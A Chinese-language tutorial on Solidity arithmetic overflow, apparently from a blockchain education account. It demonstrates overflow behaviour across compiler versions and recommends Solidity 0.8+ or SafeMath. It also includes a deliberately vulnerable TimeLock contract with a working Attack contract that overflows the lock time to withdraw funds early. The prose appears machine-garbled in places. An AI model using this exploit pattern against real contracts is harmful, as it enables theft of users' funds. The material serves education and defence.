id:BSN_2021 公众号:BSN 研习社 作者:红枣科技张雪良
背景:因为公链环境下所有的信息都是共享的,智能合约相当于是齐全透明化,任何人都能够调用,外加一些利益的驱动,导致引发了很多 hacker 的攻打。其中算术溢出攻打也是常见的攻击方式之一。
指标:带大家认识一下算术溢出破绽以及解决办法。
实用对象:实用于用 Solidity 语言开发的智能合约,例如 BSN 中的武汉链(基于 ETH)和泰安链(基于 fisco bcos)上运行的智能合约。
前言
算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在计算机领域里所产生的。运行单项数值计算时,当计算产生进去的后果 大于 寄存器或存储器所能存储或示意的能力限度的状况就称为算术上溢。反之,称为算术下溢。
上面,咱们演示一下 solidity 语言中的算术溢出景象。
代码如下:
pragma solidity ^0.7.0;
// pragma solidity ^0.8.0;
contract Arithmetic {
// 最大值和最小值
function minAndMax() public pure returns (uint8 min,uint8 max){return (type(uint8).min,type(uint8).max);
}
// 上溢
function overflow() public pure returns (uint8){return type(uint8).max + 1;
}
// 下溢
function underflow() public pure returns (uint8){return type(uint8).min - 1 ;
}
}
注:示例代码能够看出咱们应用的是 uint8,在 solidity 语言中,uint8 示意的范畴是 0 – 255。
另外,须要留神的是 溢出破绽 在 Solidity 中 版本 < 0.8 时溢出时不会报错,当版本 >= 0.8 时溢出会报错。
接下来,咱们别离应用版本 0.7.0 和 0.8.0 进行演示一下。
上图为执行 0.7.0 版本的运行示例代码,后果如下:
- 调用上溢办法
overflow
,执行代码type(uint8).max + 1
时没有报错, 而是返回了计算结果0
。 - 调用下溢办法
underflow
,执行代码type(uint8).min - 1
时没有报错, 而是返回了计算结果255
。
上图为执行 0.8.0 版本的运行示例代码,后果如下:
- 调用上溢办法
overflow
,执行代码type(uint8).max + 1
时 vm 有报错。 - 调用下溢办法
underflow
,执行代码type(uint8).min - 1
时 vm 有报错。
另外,0.8.0 之后的版本也能够勾销默认的溢出校验,应用关键字 unchecked
。
代码如下:
// 勾销上溢
function overflow_unchecked() public pure returns (uint8){
unchecked{return type(uint8).max + 1;
}
}
// 勾销下溢
function underflow_unchecked() public pure returns (uint8){
unchecked{return type(uint8).min - 1 ;
}
}
在 0.8.0 版本的示例代码的中增加上述代码后,运行后果如下:
能够看出跟 0.7.0 版本运行成果统一,即
- 调用上溢办法
overflow_unchecked
,执行代码type(uint8).max + 1
时没有报错, 而是返回了计算结果0
。 - 调用下溢办法
underflow_unchecked
,执行代码type(uint8).min - 1
时没有报错, 而是返回了计算结果255
。
经典案例
上面是找了一段经典的存在算术溢出破绽的合约代码,示例如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
withdraw your ether.
What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/
contract TimeLock {mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();}
}
大家能够根据上述的正文信息,自行尝试一下,其关键点就是 “算术溢出”。
解决方案
咱们能够看一下官网的形容:
Checked or Unchecked Arithmetic
An overflow or underflow is the situation where the resulting value of an arithmetic operation, when executed on an unrestricted integer, falls outside the range of the result type.
Prior to Solidity 0.8.0, arithmetic operations would always wrap in case of under- or overflow leading to widespread use of libraries that introduce additional checks.
Since Solidity 0.8.0, all arithmetic operations revert on over- and underflow by default, thus making the use of these libraries unnecessary.
大白话来讲就是:写 solidity 合约时尽量应用 0.8.0 版本及以上;如果应用的版本低于 0.8.0 时,须要是用相似 safemath 的类库去校验。
明天的解说到此结束,感激大家的浏览,如果你有其余的想法或者倡议,欢送一块交换。